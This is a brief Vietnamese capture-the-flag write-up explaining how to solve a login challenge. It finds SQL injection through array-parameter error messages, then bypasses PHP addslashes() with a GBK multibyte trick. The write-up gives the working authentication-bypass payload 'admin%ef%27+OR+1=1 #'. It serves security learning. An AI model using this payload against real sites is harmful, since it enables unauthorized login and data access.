Bài này khó.

Để kt lỗ hổng sql injection, thêm mảng:

Login[]=’&password[]=abc🡪Báo lỗi

addslashes() expects parameter 1 to be string, array given in

md5() expects parameter 1 to be string, array given in

Có vẻ như function addslashes dùng ở trường login, còn md5 ở trường password. Nhưng chúng ta chỉ cần bypass addslashes là được, còn mk comment lại là xong.

Dấu nháy %27 🡪%5C%27 (\’)

Ứng dụng dùng GBK để mã hóa ,để bypass dc filter này, phải biến \ thành 1 kí tự khác.

Cách làm là thêm %ef (kí tự đồ họa). %ef%5C sẽ thành 1 kí tự trung quốc.

Payload: admin%ef%27+OR+1=1 #

🡪admin%ef%5C%27+OR+1=1#-->admin**颸 ‘ OR 1=1#-->Flag.**

Bài này nó dùng hàm addslashes trong php nên mới làm được nha